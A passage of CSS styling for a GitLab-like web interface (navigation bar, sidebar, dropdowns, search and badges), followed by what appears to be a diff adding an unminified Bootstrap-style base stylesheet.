10px;font-size:13px;line-height:18px}.btn.btn-success{background-color:#108548;border-color:#217645;color:#fff}.btn.btn-success.active,.btn.btn-success:active{box-shadow:rgba(0,0,0,.16);background-color:#24663b;border-color:#0d532a;color:#fff}.btn svg{height:15px;width:15px;position:relative;top:2px}.btn .fa:not(:last-child),.btn svg:not(:last-child){margin-right:5px}.badge.badge-pill:not(.gl-badge){font-weight:400;background-color:rgba(0,0,0,.07);color:#4f4f4f;vertical-align:baseline}.loading{margin:20px auto;height:40px;color:#555;font-size:32px;text-align:center}.chart{overflow:hidden;height:220px}.center{text-align:center}.flex{display:flex}.dropdown{position:relative}.show.dropdown .dropdown-menu{transform:translateY(0);display:block;min-height:40px;max-height:312px;overflow-y:auto}@media (max-width:575.98px){.show.dropdown .dropdown-menu{width:100%}}.show.dropdown .dropdown-menu-toggle{border-color:#c4c4c4}.search-input-container .dropdown-menu{margin-top:11px}.dropdown-menu,.dropdown-menu-toggle{font-size:14px;background-color:#fff;border:1px solid #dbdbdb;border-radius:.25rem}.dropdown-menu-toggle{color:#303030;text-align:left;white-space:nowrap;padding:6px 25px 6px 10px;position:relative;width:160px;text-overflow:ellipsis;overflow:hidden}.no-outline.dropdown-menu-toggle,.show.dropdown [data-toggle=dropdown]{outline:0}.dropdown-menu-toggle .fa{color:#c4c4c4;position:absolute}.dropdown-menu{display:none;position:absolute;width:auto;top:100%;z-index:300;min-width:240px;max-width:500px;margin-top:4px;margin-bottom:24px;font-weight:400;padding:8px 0;box-shadow:0 2px 4px rgba(0,0,0,.1)}.dropdown-menu ul{margin:0;padding:0}.dropdown-menu li{display:block;text-align:left;list-style:none;padding:0 1px}.dropdown-menu li button,.dropdown-menu li>a{background:0 0;border:0;border-radius:0;box-shadow:none;display:block;font-weight:400;position:relative;padding:8px 12px;color:#303030;line-height:16px;white-space:normal;overflow:hidden;text-align:left;width:100%}.dropdown-menu li button:active,.dropdown-menu li>a:active{background-color:#eee;color:#303030;outline:0;text-decoration:none}.dropdown-menu li button:active .avatar,.dropdown-menu li>a:active .avatar{border-color:#fff}.dropdown-menu li button:active .badge.badge-pill,.dropdown-menu li>a:active .badge.badge-pill{background-color:#d3e7f9}.dropdown-menu .divider{height:1px;margin:.25rem 0;padding:0;background-color:#dbdbdb}.dropdown-menu .badge.badge-pill+span:not(.badge.badge-pill){margin-right:40px}.dropdown-select{width:300px}@media (max-width:767.98px){.dropdown-select{width:100%}}.dropdown-content{max-height:252px;overflow-y:auto}.dropdown-loading{position:absolute;top:0;right:0;bottom:0;left:0;display:none;z-index:9;background-color:rgba(255,255,255,.6);font-size:28px}.dropdown-loading .fa{position:absolute;top:50%;left:50%;margin-top:-14px;margin-left:-14px}@media (max-width:575.98px){.navbar-gitlab li.dropdown{position:static}header.navbar-gitlab .dropdown .dropdown-menu{width:100%;min-width:100%}}@media (max-width:767.98px){.dropdown-menu-toggle{width:100%}}input{border-radius:.25rem;color:#303030;background-color:#fff}.search form{margin:0;padding:4px;width:200px;line-height:24px;height:32px;border:0;border-radius:4px}body.ui-indigo .navbar-gitlab{background-color:#292961}body.ui-indigo .navbar-gitlab .nav>li,body.ui-indigo .navbar-gitlab .navbar-collapse,body.ui-indigo .navbar-gitlab .navbar-sub-nav{color:#d1d1f0}body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler{border-left:1px solid #6868b9}body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler svg{fill:#d1d1f0}body.ui-indigo .navbar-gitlab .nav>li.active>a,body.ui-indigo .navbar-gitlab .nav>li.dropdown.show>a,body.ui-indigo .navbar-gitlab .navbar-nav>li.active>a,body.ui-indigo .navbar-gitlab .navbar-nav>li.active>button,body.ui-indigo .navbar-gitlab .navbar-nav>li.dropdown.show>a,body.ui-indigo .navbar-gitlab .navbar-nav>li.dropdown.show>button,body.ui-indigo .navbar-gitlab .navbar-sub-nav>li.active>a,body.ui-indigo .navbar-gitlab .navbar-sub-nav>li.active>button,body.ui-indigo .navbar-gitlab .navbar-sub-nav>li.dropdown.show>a,body.ui-indigo .navbar-gitlab .navbar-sub-nav>li.dropdown.show>button{color:#292961;background-color:#fff}body.ui-indigo .navbar-gitlab .nav>li>a.header-user-dropdown-toggle .header-user-avatar{border-color:#d1d1f0}body.ui-indigo .search form{background-color:rgba(209,209,240,.2)}body.ui-indigo .search .search-input::placeholder{color:rgba(209,209,240,.8)}body.ui-indigo .search .search-input-wrap .clear-icon,body.ui-indigo .search .search-input-wrap .search-icon{fill:rgba(209,209,240,.8)}body.ui-indigo .nav-sidebar li.active{box-shadow:inset 4px 0 0 #4b4ba3}body.ui-indigo .nav-sidebar li.active>a,body.ui-indigo .sidebar-top-level-items>li.active .badge.badge-pill{color:#393982}body.ui-indigo .nav-sidebar li.active .nav-icon-container svg{fill:#393982}.navbar-gitlab{padding:0 16px;z-index:1000;margin-bottom:0;min-height:40px;border:0;border-bottom:1px solid #dbdbdb;position:fixed;top:0;left:0;right:0;border-radius:0}.navbar-gitlab .logo-text{line-height:initial}.navbar-gitlab .logo-text svg{width:55px;height:14px;margin:0;fill:#fff}.navbar-gitlab .close-icon{display:none}.navbar-gitlab .header-content{width:100%;display:flex;justify-content:space-between;position:relative;min-height:40px;padding-left:0}.navbar-gitlab .header-content .title-container{display:flex;align-items:stretch;flex:1 1 auto;padding-top:0;overflow:visible}.navbar-gitlab .header-content .title{padding-right:0;color:currentColor;display:flex;position:relative;margin:0;font-size:18px;vertical-align:top;white-space:nowrap}.navbar-gitlab .header-content .title img{height:28px}.navbar-gitlab .header-content .title img+.logo-text{margin-left:8px}.navbar-gitlab .header-content .title a{display:flex;align-items:center;padding:2px 8px;margin:5px 2px 5px -8px;border-radius:4px}.navbar-gitlab .header-content .dropdown.open>a{border-bottom-color:#fff}.navbar-gitlab .header-content .navbar-collapse>ul.nav>li:not(.d-none){margin:0 2px}.navbar-gitlab .navbar-collapse{flex:0 0 auto;border-top:0;padding:0}@media (max-width:575.98px){.navbar-gitlab .navbar-collapse{flex:1 1 auto}}.navbar-gitlab .navbar-collapse .nav{flex-wrap:nowrap}@media (max-width:575.98px){.navbar-gitlab .navbar-collapse .nav>li:not(.d-none) a{margin-left:0}}.navbar-gitlab .container-fluid{padding:0}.navbar-gitlab .container-fluid .user-counter svg{margin-right:3px}.navbar-gitlab .container-fluid .navbar-toggler{position:relative;right:-10px;border-radius:0;min-width:45px;padding:0;margin:8px -7px 8px 0;font-size:14px;text-align:center;color:currentColor}.navbar-gitlab .container-fluid .navbar-toggler.active{color:currentColor;background-color:transparent}@media (max-width:575.98px){.navbar-gitlab .container-fluid .navbar-nav{display:flex;padding-right:10px;flex-direction:row}}.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill{box-shadow:none;font-weight:600}@media (max-width:575.98px){.navbar-gitlab .container-fluid .nav>li.header-user{padding-left:10px}}.navbar-gitlab .container-fluid .nav>li>a{will-change:color;margin:4px 0;padding:6px 8px;height:32px}@media (max-width:575.98px){.navbar-gitlab .container-fluid .nav>li>a{padding:0}}.navbar-gitlab .container-fluid .nav>li>a.header-user-dropdown-toggle{margin-left:2px}.navbar-gitlab .container-fluid .nav>li .header-new-dropdown-toggle,.navbar-gitlab .container-fluid .nav>li>a.header-user-dropdown-toggle .header-user-avatar{margin-right:0}.navbar-nav>li>a,.navbar-nav>li>button,.navbar-sub-nav>li>a,.navbar-sub-nav>li>button{display:flex;align-items:center;justify-content:center;padding:6px 8px;margin:4px 2px;font-size:12px;color:currentColor;border-radius:4px;height:32px;font-weight:600}.navbar-nav>li>button,.navbar-sub-nav>li>button{background:0 0;border:0}.navbar-nav .dropdown-menu,.navbar-sub-nav .dropdown-menu{position:absolute}.navbar-sub-nav{display:flex;margin:0 0 0 6px}.btn .caret-down,.caret-down{top:0;height:11px;width:11px;margin-left:4px;fill:currentColor}.header-new .dropdown-menu,.header-user .dropdown-menu{margin-top:4px}.btn-sign-in{background-color:#ebebfa;color:#292961;font-weight:600;line-height:18px;margin:4px 0 4px 2px}.navbar-nav .badge.badge-pill,.title-container .badge.badge-pill{position:inherit;font-weight:400;margin-left:-6px;font-size:11px;color:#fff;padding:0 5px;line-height:12px;border-radius:7px;box-shadow:0 1px 0 rgba(76,78,84,.2)}.navbar-nav .badge.badge-pill.green-badge,.title-container .badge.badge-pill.green-badge{background-color:#108548}.navbar-nav .badge.badge-pill.merge-requests-count,.title-container .badge.badge-pill.merge-requests-count{background-color:#de7e00}.navbar-nav .badge.badge-pill.todos-count,.title-container .badge.badge-pill.todos-count{background-color:#1f75cb}.navbar-nav .canary-badge .badge,.title-container .canary-badge .badge{font-size:12px;line-height:16px;padding:0 .5rem}@media (max-width:575.98px){.navbar-gitlab .container-fluid{font-size:18px}.navbar-gitlab .container-fluid .navbar-nav{table-layout:fixed;width:100%;margin:0;text-align:right}.navbar-gitlab .container-fluid .navbar-collapse{margin-left:-8px;margin-right:-10px}.navbar-gitlab .container-fluid .navbar-collapse .nav>li:not(.d-none){flex:1}.header-user-dropdown-toggle{text-align:center}.header-user-avatar{float:none}}.header-user.show .dropdown-menu{margin-top:4px;color:#303030;left:auto;max-height:445px}.header-user.show .dropdown-menu svg{vertical-align:text-top}.header-user-avatar{float:left;margin-right:5px;border-radius:50%;border:1px solid #f5f5f5}.media{display:flex;align-items:flex-start}.card{margin-bottom:16px}@media (min-width:768px){.page-with-contextual-sidebar{padding-left:50px}}@media (min-width:1200px){.page-with-contextual-sidebar{padding-left:220px}}.context-header{position:relative;margin-right:2px;width:220px}.context-header>a,.context-header>button{font-weight:600;display:flex;width:100%;align-items:center;padding:10px 16px 10px 10px;color:#303030;background-color:transparent;border:0;text-align:left}.context-header .avatar-container{flex:0 0 40px;background-color:#fff}.context-header .sidebar-context-title{overflow:hidden;text-overflow:ellipsis}.context-header .sidebar-context-title.text-secondary{font-weight:400;font-size:.8em}.nav-sidebar{position:fixed;z-index:600;width:220px;top:40px;bottom:0;left:0;background-color:#fafafa;box-shadow:inset -1px 0 0 #dbdbdb;transform:translate3d(0,0,0)}@media (min-width:576px) and (max-width:576px){.nav-sidebar:not(.sidebar-collapsed-desktop){box-shadow:inset -1px 0 0 #dbdbdb,2px 1px 3px rgba(0,0,0,.1)}}.nav-sidebar a{text-decoration:none}.nav-sidebar ul{padding-left:0;list-style:none}.nav-sidebar li{white-space:nowrap}.nav-sidebar li a{display:flex;align-items:center;padding:12px 16px;color:#707070}.nav-sidebar li .nav-item-name{flex:1}.nav-sidebar li.active>a,.sidebar-top-level-items>li.active .badge.badge-pill{font-weight:600}@media (max-width:767.98px){.nav-sidebar{left:-220px}}.nav-sidebar .nav-icon-container{display:flex;margin-right:8px}.nav-sidebar .fly-out-top-item{display:none}.nav-sidebar svg{height:16px;width:16px}@media (min-width:768px) and (max-width:1199px){.nav-sidebar:not(.sidebar-expanded-mobile){width:50px}.nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll{overflow-x:hidden}.nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),.nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name,.nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items>li>a{min-height:45px}.nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item{display:block}.nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container{margin:0 auto}.nav-sidebar:not(.sidebar-expanded-mobile) .context-header{height:60px;width:50px}.nav-sidebar:not(.sidebar-expanded-mobile) .context-header a{padding:10px 4px}.nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items>li .sidebar-sub-level-items:not(.flyout-list),.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left{display:none}.nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container{margin-right:0}.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button{padding:16px;width:49px}.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right{display:block;margin:0}}.nav-sidebar-inner-scroll{height:100%;width:100%;overflow:auto}.sidebar-sub-level-items{display:none;padding-bottom:8px}.sidebar-sub-level-items>li a{padding:8px 16px 8px 40px}.sidebar-sub-level-items>li.active a,.sidebar-top-level-items>li.active{background:rgba(0,0,0,.04)}.sidebar-top-level-items{margin-bottom:60px}@media (min-width:576px){.sidebar-top-level-items>li>a{margin-right:1px}}.sidebar-top-level-items>li .badge.badge-pill{background-color:rgba(0,0,0,.08);color:#707070}.sidebar-top-level-items>li.active>a{margin-left:4px;padding-left:12px}.sidebar-top-level-items>li.active .sidebar-sub-level-items:not(.is-fly-out-only){display:block}.close-nav-button,.toggle-sidebar-button{width:219px;position:fixed;height:48px;bottom:0;padding:0 16px;background-color:#fafafa;border:0;border-top:1px solid #dbdbdb;color:#707070;display:flex;align-items:center}.close-nav-button svg,.toggle-sidebar-button svg{margin-right:8px}.close-nav-button .icon-chevron-double-lg-right,.toggle-sidebar-button .icon-chevron-double-lg-right{display:none}.collapse-text{white-space:nowrap;overflow:hidden}.fly-out-top-item>a{display:flex}.fly-out-top-item .fly-out-badge{margin-left:8px}.fly-out-top-item-name{flex:1}.close-nav-button{display:none}@media (max-width:767.98px){.close-nav-button{display:flex}.toggle-sidebar-button{display:none}}input::-moz-placeholder{color:#919191;opacity:1}input:-ms-input-placeholder,input::-ms-input-placeholder{color:#919191}svg.s12{width:12px;height:12px}svg.s16{width:16px;height:16px}svg.s18{width:18px;height:18px}.feature-highlight-popover-sub-content{padding:16px 12px}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.color-label{padding:0 .5rem;line-height:16px;border-radius:100px;color:#fff}.label-link{display:inline-flex;vertical-align:text-bottom}.milestones{padding:8px;margin-top:8px;border-radius:4px;background-color:#dbdbdb}.search{margin:0 8px}@media (min-width:1200px){.search form{width:320px}}.search .search-input{border:0;font-size:14px;padding:0 20px 0 0;margin-left:5px;line-height:25px;width:98%;color:#fff;background:0 0}.search .search-input-container{display:flex;position:relative}.search .search-input-wrap{width:100%}.search .search-input-wrap .clear-icon,.search .search-input-wrap .search-icon{position:absolute;right:5px;top:4px}.search .search-input-wrap .search-icon{-moz-user-select:none;user-select:none}.search .search-input-wrap .clear-icon{display:none}.search .search-input-wrap .dropdown{position:static}.search .search-input-wrap .dropdown-menu{left:-5px;max-height:400px;overflow:auto}@media (min-width:1200px){.search .search-input-wrap .dropdown-menu{width:320px}}.search .search-input-wrap .dropdown-content{max-height:382px}.search .identicon{flex-basis:16px;flex-shrink:0;margin-right:4px}.settings{border-top:1px solid #dbdbdb}.settings:first-of-type{margin-top:10px;border:0}.settings+div .settings:first-of-type{margin-top:0;border-top:1px solid #dbdbdb}.avatar,.avatar-container{float:left;margin-right:16px;border-radius:50%;border:1px solid #f5f5f5}.s16.avatar,.s16.avatar-container{width:16px;height:16px;margin-right:8px}.s18.avatar,.s18.avatar-container{width:18px;height:18px;margin-right:8px}.s40.avatar,.s40.avatar-container{width:40px;height:40px;margin-right:8px}.avatar{transition-property:none;width:40px;height:40px;padding:0;background:#fdfdfd;overflow:hidden;border-color:rgba(0,0,0,.1)}.avatar.center{font-size:14px;line-height:1.8em;text-align:center}.avatar.avatar-tile{border-radius:0;border:0}.identicon{text-align:center;vertical-align:top;color:#4f4f4f;background-color:#eee}.identicon.s16{font-size:10px;line-height:16px}.identicon.s40{font-size:16px;line-height:38px}.avatar-container{overflow:hidden;display:flex}.avatar-container a{width:100%;height:100%;display:flex;text-decoration:none}.avatar-container .avatar{border-radius:0;border:0;height:auto;width:100%;margin:0;align-self:center}.avatar-container.s40{min-width:40px;min-height:40px}.rect-avatar,.rect-avatar.s16,.rect-avatar.s18{border-radius:2px}.rect-avatar.s40{border-radius:4px}.tab-width-8{-moz-tab-size:8;tab-size:8}.gl-sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.gl-ml-3{margin-left:.5rem}
+@charset "UTF-8";
+*,
+*::before,
+*::after {
+ box-sizing: border-box;
+}
+html {
+ font-family: sans-serif;
+ line-height: 1.15;
+}
+ header, nav, section {
+ display: block;
+}
+body {
+ margin: 0;
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-size: 1rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #303030;
+ text-align: left;
+ background-color: #fff;
+}
+h1, h2, h3 {
+ margin-top: 0;
+ margin-bottom: 0.25rem;
+}
+p {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
-/* Cloaking in order to prevent flickering of content */
+ul {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
+
+ul ul {
+ margin-bottom: 0;
+}
+
+strong {
+ font-weight: bolder;
+}
+sub {
+ position: relative;
+ font-size: 75%;
+ line-height: 0;
+ vertical-align: baseline;
+}
+sub {
+ bottom: -.25em;
+}
+a {
+ color: #007bff;
+ text-decoration: none;
+ background-color: transparent;
+}
+a:not([href]) {
+ color: inherit;
+ text-decoration: none;
+}
+pre,
+code {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ font-size: 1em;
+}
+pre {
+ margin-top: 0;
+ margin-bottom: 1rem;
+ overflow: auto;
+}
+img {
+ vertical-align: middle;
+ border-style: none;
+}
+svg {
+ overflow: hidden;
+ vertical-align: middle;
+}
+table {
+ border-collapse: collapse;
+}
+th {
+ text-align: inherit;
+}
+button {
+ border-radius: 0;
+}
+input,
+button,
+textarea {
+ margin: 0;
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit;
+}
+button,
+input {
+ overflow: visible;
+}
+button {
+ text-transform: none;
+}
+button:not(:disabled),
+[type="button"]:not(:disabled),
+[type="reset"]:not(:disabled) {
+ cursor: pointer;
+}
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner {
+ padding: 0;
+ border-style: none;
+}
+textarea {
+ overflow: auto;
+ resize: vertical;
+}
+[type="search"] {
+ outline-offset: -2px;
+}
+summary {
+ display: list-item;
+ cursor: pointer;
+}
+template {
+ display: none;
+}
+[hidden] {
+ display: none !important;
+}
+h1, h2, h3,
+.h1, .h2, .h3 {
+ margin-bottom: 0.25rem;
+ font-weight: 600;
+ line-height: 1.2;
+ color: #303030;
+}
+h1, .h1 {
+ font-size: 2.1875rem;
+}
+h2, .h2 {
+ font-size: 1.75rem;
+}
+h3, .h3 {
+ font-size: 1.53125rem;
+}
+.list-unstyled {
+ padding-left: 0;
+ list-style: none;
+}
+code {
+ font-size: 90%;
+ color: #1f1f1f;
+ word-wrap: break-word;
+}
+a > code {
+ color: inherit;
+}
+pre {
+ display: block;
+ font-size: 90%;
+ color: #303030;
+}
+pre code {
+ font-size: inherit;
+ color: inherit;
+ word-break: normal;
+}
+.container {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.container-fluid {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.row {
+ display: flex;
+ flex-wrap: wrap;
+ margin-right: -15px;
+ margin-left: -15px;
+}
+.table {
+ width: 100%;
+ margin-bottom: 0.5rem;
+ color: #303030;
+}
+.table th,
+.table td {
+ padding: 0.75rem;
+ vertical-align: top;
+ border-top: 1px solid #dbdbdb;
+}
+ .search form {
+ display: block;
+ width: 100%;
+ height: 34px;
+ padding: 0.375rem 0.75rem;
+ font-size: 0.875rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #303030;
+ background-color: #fff;
+ background-clip: padding-box;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+ .search form:-moz-focusring {
+ color: transparent;
+ text-shadow: 0 0 0 #303030;
+}
+ .search form::placeholder {
+ color: #5e5e5e;
+ opacity: 1;
+}
+ .search form:disabled {
+ background-color: #fafafa;
+ opacity: 1;
+}
+.form-inline {
+ display: flex;
+ flex-flow: row wrap;
+ align-items: center;
+}
+
+@media (min-width: 576px) {
+ .form-inline .search form, .search .form-inline form {
+ display: inline-block;
+ width: auto;
+ vertical-align: middle;
+ }
+}
+.btn {
+ display: inline-block;
+ font-weight: 400;
+ color: #303030;
+ text-align: center;
+ vertical-align: middle;
+ cursor: pointer;
+ user-select: none;
+ background-color: transparent;
+ border: 1px solid transparent;
+ padding: 0.375rem 0.75rem;
+ font-size: 1rem;
+ line-height: 20px;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.btn.disabled, .btn:disabled {
+ opacity: 0.65;
+}
+a.btn.disabled {
+ pointer-events: none;
+}
+.collapse:not(.show) {
+ display: none;
+}
+
+.dropdown {
+ position: relative;
+}
+ .dropdown-menu-toggle {
+ white-space: nowrap;
+}
+ .dropdown-menu-toggle::after {
+ display: inline-block;
+ margin-left: 0.255em;
+ vertical-align: 0.255em;
+ content: "";
+ border-top: 0.3em solid;
+ border-right: 0.3em solid transparent;
+ border-bottom: 0;
+ border-left: 0.3em solid transparent;
+}
+ .dropdown-menu-toggle:empty::after {
+ margin-left: 0;
+}
+.dropdown-menu {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ z-index: 1000;
+ display: none;
+ float: left;
+ min-width: 10rem;
+ padding: 0.5rem 0;
+ margin: 0.125rem 0 0;
+ font-size: 1rem;
+ color: #303030;
+ text-align: left;
+ list-style: none;
+ background-color: #fff;
+ background-clip: padding-box;
+ border: 1px solid rgba(0, 0, 0, 0.15);
+ border-radius: 0.25rem;
+}
+.dropdown-menu-right {
+ right: 0;
+ left: auto;
+}
+ .divider {
+ height: 0;
+ margin: 4px 0;
+ overflow: hidden;
+ border-top: 1px solid #dbdbdb;
+}
+.dropdown-menu.show {
+ display: block;
+}
+.nav {
+ display: flex;
+ flex-wrap: wrap;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.navbar {
+ position: relative;
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0.25rem 0.5rem;
+}
+.navbar .container,
+.navbar .container-fluid {
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+}
+.navbar-nav {
+ display: flex;
+ flex-direction: column;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.navbar-nav .dropdown-menu {
+ position: static;
+ float: none;
+}
+.navbar-collapse {
+ flex-basis: 100%;
+ flex-grow: 1;
+ align-items: center;
+}
+.navbar-toggler {
+ padding: 0.25rem 0.75rem;
+ font-size: 1.25rem;
+ line-height: 1;
+ background-color: transparent;
+ border: 1px solid transparent;
+ border-radius: 0.25rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ padding-right: 0;
+ padding-left: 0;
+ }
+}
+
+@media (min-width: 576px) {
+ .navbar-expand-sm {
+ flex-flow: row nowrap;
+ justify-content: flex-start;
+ }
+ .navbar-expand-sm .navbar-nav {
+ flex-direction: row;
+ }
+ .navbar-expand-sm .navbar-nav .dropdown-menu {
+ position: absolute;
+ }
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ flex-wrap: nowrap;
+ }
+ .navbar-expand-sm .navbar-collapse {
+ display: flex !important;
+ flex-basis: auto;
+ }
+ .navbar-expand-sm .navbar-toggler {
+ display: none;
+ }
+}
+.card {
+ position: relative;
+ display: flex;
+ flex-direction: column;
+ min-width: 0;
+ word-wrap: break-word;
+ background-color: #fff;
+ background-clip: border-box;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+}
+.badge {
+ display: inline-block;
+ padding: 0.25em 0.4em;
+ font-size: 75%;
+ font-weight: 600;
+ line-height: 1;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: baseline;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.badge:empty {
+ display: none;
+}
+.btn .badge {
+ position: relative;
+ top: -1px;
+}
+.badge-pill {
+ padding-right: 0.6em;
+ padding-left: 0.6em;
+ border-radius: 10rem;
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.close {
+ float: right;
+ font-size: 1.5rem;
+ font-weight: 600;
+ line-height: 1;
+ color: #000;
+ text-shadow: 0 1px 0 #fff;
+ opacity: .5;
+}
+button.close {
+ padding: 0;
+ background-color: transparent;
+ border: 0;
+ appearance: none;
+}
+a.close.disabled {
+ pointer-events: none;
+}
+.modal-dialog {
+ position: relative;
+ width: auto;
+ margin: 0.5rem;
+ pointer-events: none;
+}
+
+@media (min-width: 576px) {
+ .modal-dialog {
+ max-width: 500px;
+ margin: 1.75rem auto;
+ }
+}
+.bg-transparent {
+ background-color: transparent !important;
+}
+.border {
+ border: 1px solid #dbdbdb !important;
+}
+.border-top {
+ border-top: 1px solid #dbdbdb !important;
+}
+.border-right {
+ border-right: 1px solid #dbdbdb !important;
+}
+.border-bottom {
+ border-bottom: 1px solid #dbdbdb !important;
+}
+.border-left {
+ border-left: 1px solid #dbdbdb !important;
+}
+.rounded {
+ border-radius: 0.25rem !important;
+}
+.clearfix::after {
+ display: block;
+ clear: both;
+ content: "";
+}
+.d-none {
+ display: none !important;
+}
+.d-inline-block {
+ display: inline-block !important;
+}
+.d-block {
+ display: block !important;
+}
+
+@media (min-width: 576px) {
+ .d-sm-none {
+ display: none !important;
+ }
+}
+
+@media (min-width: 768px) {
+ .d-md-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 992px) {
+ .d-lg-none {
+ display: none !important;
+ }
+ .d-lg-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 1200px) {
+ .d-xl-block {
+ display: block !important;
+ }
+}
+.flex-wrap {
+ flex-wrap: wrap !important;
+}
+.float-right {
+ float: right !important;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ white-space: nowrap;
+ border: 0;
+}
+.m-auto {
+ margin: auto !important;
+}
+.text-nowrap {
+ white-space: nowrap !important;
+}
+.visible {
+ visibility: visible !important;
+}
+ .search form.focus {
+ color: #303030;
+ background-color: #fff;
+ border-color: #80bdff;
+ outline: 0;
+ box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+.gl-badge {
+ display: inline-flex;
+ align-items: center;
+ font-size: 0.75rem;
+ font-weight: 400;
+ line-height: 1rem;
+ padding-top: 0.25rem;
+ padding-bottom: 0.25rem;
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+ outline: none;
+}
+body, .search form,
+.search form {
+ font-size: 0.875rem;
+}
+button,
+html [type='button'],
+[type='reset'],
+[role='button'] {
+ cursor: pointer;
+}
+h1,
+.h1,
+h2,
+.h2,
+h3,
+.h3 {
+ margin-top: 20px;
+ margin-bottom: 10px;
+}
+input[type='file'] {
+ line-height: 1;
+}
+
+strong {
+ font-weight: bold;
+}
+a {
+ color: #1068bf;
+}
+code {
+ padding: 2px 4px;
+ color: #1f1f1f;
+ background-color: #f0f0f0;
+ border-radius: 4px;
+}
+.code > code {
+ background-color: inherit;
+ padding: unset;
+}
+table {
+ border-spacing: 0;
+}
+.hidden {
+ display: none !important;
+ visibility: hidden !important;
+}
+.hide {
+ display: none;
+}
+ .dropdown-menu-toggle::after {
+ display: none;
+}
+.badge:not(.gl-badge) {
+ padding: 4px 5px;
+ font-size: 12px;
+ font-style: normal;
+ font-weight: 400;
+ display: inline-block;
+}
+pre code {
+ white-space: pre-wrap;
+}
+.toggle-sidebar-button .collapse-text,
+.toggle-sidebar-button .icon-chevron-double-lg-left,
+.toggle-sidebar-button .icon-chevron-double-lg-right {
+ color: #666;
+}
+svg {
+ vertical-align: baseline;
+}
+html {
+ overflow-y: scroll;
+}
+body {
+ text-decoration-skip: ink;
+}
+.content-wrapper {
+ margin-top: 40px;
+ padding-bottom: 100px;
+}
+.container {
+ padding-top: 0;
+ z-index: 5;
+}
+.container .content {
+ margin: 0;
+}
+
+@media (max-width: 575.98px) {
+ .container .content {
+ margin-top: 20px;
+ }
+}
+
+@media (max-width: 575.98px) {
+ .container .container .title {
+ padding-left: 15px !important;
+ }
+}
+.btn {
+ border-radius: 4px;
+ font-size: 0.875rem;
+ font-weight: 400;
+ padding: 6px 10px;
+ background-color: #fff;
+ border-color: #dbdbdb;
